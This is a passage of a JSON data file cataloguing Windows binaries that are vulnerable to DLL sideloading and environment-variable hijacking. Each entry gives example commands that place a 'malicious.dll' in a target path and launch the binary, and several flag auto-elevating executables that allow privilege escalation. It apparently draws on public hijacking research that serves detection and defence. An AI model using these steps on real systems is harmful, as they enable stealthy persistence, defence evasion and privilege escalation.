        "url": "https://help.obsidian.md/install"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dwrite.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dxcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dxcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\taskmgr.exe\\\"\"\n\n# dxcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\taskmgr.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dxcore.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dxcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dxcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dxcore",
    "name": "dxcore.dll",
    "namespace": "windows:dllhijack:dxcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dxcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dxgi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dxgi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\applicationframehost.exe\\\"\"\n\n# dxgi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\applicationframehost.exe (Sideloading)\n- %SYSTEM32%\\dataexchangehost.exe (Sideloading)\n- %SYSTEM32%\\dwm.exe (Sideloading)\n- %SYSTEM32%\\dxgiadaptercache.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\mdeserver.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\taskmgr.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\vsgraphicsremoteengine.exe (Sideloading)\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dxgi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dxgi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dxgi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dxgi",
    "name": "dxgi.dll",
    "namespace": "windows:dllhijack:dxgi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dxgi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dxva2.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dxva2.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dccw.exe\\\"\"\n\n# dxva2.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dccw.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\dispdiag.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dxva2.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dxva2.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dxva2.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dxva2",
    "name": "dxva2.dll",
    "namespace": "windows:dllhijack:dxva2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dxva2.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dynamoapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dynamoapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mdmdiagnosticstool.exe\\\"\"\n\n# dynamoapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dynamoapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dynamoapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dynamoapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dynamoapi",
    "name": "dynamoapi.dll",
    "namespace": "windows:dllhijack:dynamoapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dynamoapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious eacore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Electronic Arts\\\\EA Desktop\\\\EA Desktop\\\\eacore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Electronic Arts\\\\EA Desktop\\\\EA Desktop\\\\EACoreServer.exe\\\"\"\n\n# eacore.dll\n\n**Vendor:** Electronic Arts\n\n**Expected Location:** %PROGRAMFILES%\\Electronic Arts\\EA Desktop\\EA Desktop\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Electronic Arts\\EA Desktop\\EA Desktop\\EACoreServer.exe (Sideloading)\n\n**Acknowledgement:** FatzQatz\n",
    "_source": "windows-dllhijack-eacore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "eacore.dll — Sideloading hijacking (Electronic Arts)",
    "execution": {
      "template": "eacore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-eacore",
    "name": "eacore.dll",
    "namespace": "windows:dllhijack:eacore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/"
      },
      {
        "label": "Reference",
        "url": "https://x.com/FatzQatz/status/1883443770819248130"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/dc673d59a6a9df3d02e83fd03af80e117bea20954602ae416540870b1b3d13c4"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/eacore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious eappcfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\eappcfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# eappcfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-eappcfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "eappcfg.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "eappcfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-eappcfg",
    "name": "eappcfg.dll",
    "namespace": "windows:dllhijack:eappcfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/eappcfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious eappprxy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\eappprxy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# eappprxy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-eappprxy.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "eappprxy.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "eappprxy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-eappprxy",
    "name": "eappprxy.dll",
    "namespace": "windows:dllhijack:eappprxy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/eappprxy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious edgeiso.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\edgeiso.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\microsoftedgebchost.exe\\\"\"\n\n# edgeiso.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\microsoftedgebchost.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgecp.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgedevtools.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgesh.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-edgeiso.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "edgeiso.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "edgeiso.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-edgeiso",
    "name": "edgeiso.dll",
    "namespace": "windows:dllhijack:edgeiso",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/edgeiso.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious edputil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\edputil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\calc.exe\\\"\"\n\n# edputil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\dpiscaling.exe (Sideloading)\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\mobsync.exe (Sideloading)\n- %SYSTEM32%\\resmon.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-edputil.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "edputil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "edputil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-edputil",
    "name": "edputil.dll",
    "namespace": "windows:dllhijack:edputil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/Max_Mal_/status/1658566665003585545"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/edputil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious efsadu.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\efsadu.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\efsui.exe\\\"\"\n\n# efsadu.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-efsadu.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "efsadu.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "efsadu.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-efsadu",
    "name": "efsadu.dll",
    "namespace": "windows:dllhijack:efsadu",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/efsadu.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious efsutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\efsutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cipher.exe\\\"\"\n\n# efsutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cipher.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-efsutil.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "efsutil.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "efsutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-efsutil",
    "name": "efsutil.dll",
    "namespace": "windows:dllhijack:efsutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/efsutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious endpointdlp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMDATA%\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\%VERSION%\\\\endpointdlp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMDATA%\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\%VERSION%\\\\mpextms.exe\\\"\"\n\n# endpointdlp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMDATA%\\Microsoft\\Windows Defender\\Platform\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMDATA%\\Microsoft\\Windows Defender\\Platform\\%VERSION%\\mpextms.exe (Sideloading)\n\n**Acknowledgement:** Jose Oregon\n",
    "_source": "windows-dllhijack-endpointdlp.md",
    "author": "Jose Oregon",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "endpointdlp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "endpointdlp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-endpointdlp",
    "name": "endpointdlp.dll",
    "namespace": "windows:dllhijack:endpointdlp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/28f0f4c19d290c74a2e2d20004e1eaccb062fb99f53254ba3810eeec29c191cc"
      },
      {
        "label": "Reference",
        "url": "https://www.reddit.com/r/blueteamsec/comments/1sur3eh/observed_staged_endpoint_dlp_masquerade_dll/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/endpointdlp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious epnsm.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Epson Software\\\\Document Capture Server\\\\epnsm.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Epson Software\\\\Document Capture Server\\\\EEventManager.exe\\\"\"\n\n# epnsm.dll\n\n**Vendor:** seiko\n\n**Expected Location:** %PROGRAMFILES%\\Epson Software\\Document Capture Server\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Epson Software\\Document Capture Server\\EEventManager.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-epnsm.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "epnsm.dll — Sideloading hijacking (seiko)",
    "execution": {
      "template": "epnsm.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-epnsm",
    "name": "epnsm.dll",
    "namespace": "windows:dllhijack:epnsm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d70cd4df89b101f34ea6b17bc07a88b096bae2220fb04e200443b09a2b681091/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/8313f3970982cbd425a0c769c8a690fef456d31d321c7de1e588e572948afed9/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/epnsm.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious esent.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\esent.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dfsrdiag.exe\\\"\"\n\n# esent.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\dsdbutil.exe (Sideloading)\n- %SYSTEM32%\\esentutl.exe (Sideloading)\n- %SYSTEM32%\\tieringengineservice.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-esent.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "esent.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "esent.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-esent",
    "name": "esent.dll",
    "namespace": "windows:dllhijack:esent",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/esent.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious execmodelproxy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\execmodelproxy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\calc.exe\\\"\"\n\n# execmodelproxy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\calc.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-execmodelproxy.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "execmodelproxy.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "execmodelproxy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-execmodelproxy",
    "name": "execmodelproxy.dll",
    "namespace": "windows:dllhijack:execmodelproxy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/execmodelproxy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious explorerframe.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\explorerframe.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# explorerframe.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\mstsc.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-explorerframe.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "explorerframe.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "explorerframe.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-explorerframe",
    "name": "explorerframe.dll",
    "namespace": "windows:dllhijack:explorerframe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/explorerframe.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious facesdk.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\luxand\\\\facesdk\\\\bin\\\\win64\\\\facesdk.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\luxand\\\\facesdk\\\\bin\\\\win64\\\\FacialFeatureDemo.exe\\\"\"\n\n# facesdk.dll\n\n**Vendor:** Luxand\n\n**Expected Location:** %PROGRAMFILES%\\luxand\\facesdk\\bin\\win64\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\luxand\\facesdk\\bin\\win64\\FacialFeatureDemo.exe (Sideloading)\n",
    "_source": "windows-dllhijack-facesdk.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "facesdk.dll — Sideloading hijacking (Luxand)",
    "execution": {
      "template": "facesdk.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-facesdk",
    "name": "facesdk.dll",
    "namespace": "windows:dllhijack:facesdk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/facesdk.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fastprox.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wbem\\\\fastprox.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cttune.exe\\\"\"\n\n# fastprox.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\\wbem\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cttune.exe (Environment Variable)\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\driverquery.exe (Environment Variable)\n- %SYSTEM32%\\getmac.exe (Environment Variable)\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n- %SYSTEM32%\\msinfo32.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\systeminfo.exe (Environment Variable)\n- %SYSTEM32%\\tasklist.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excelcnv.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft 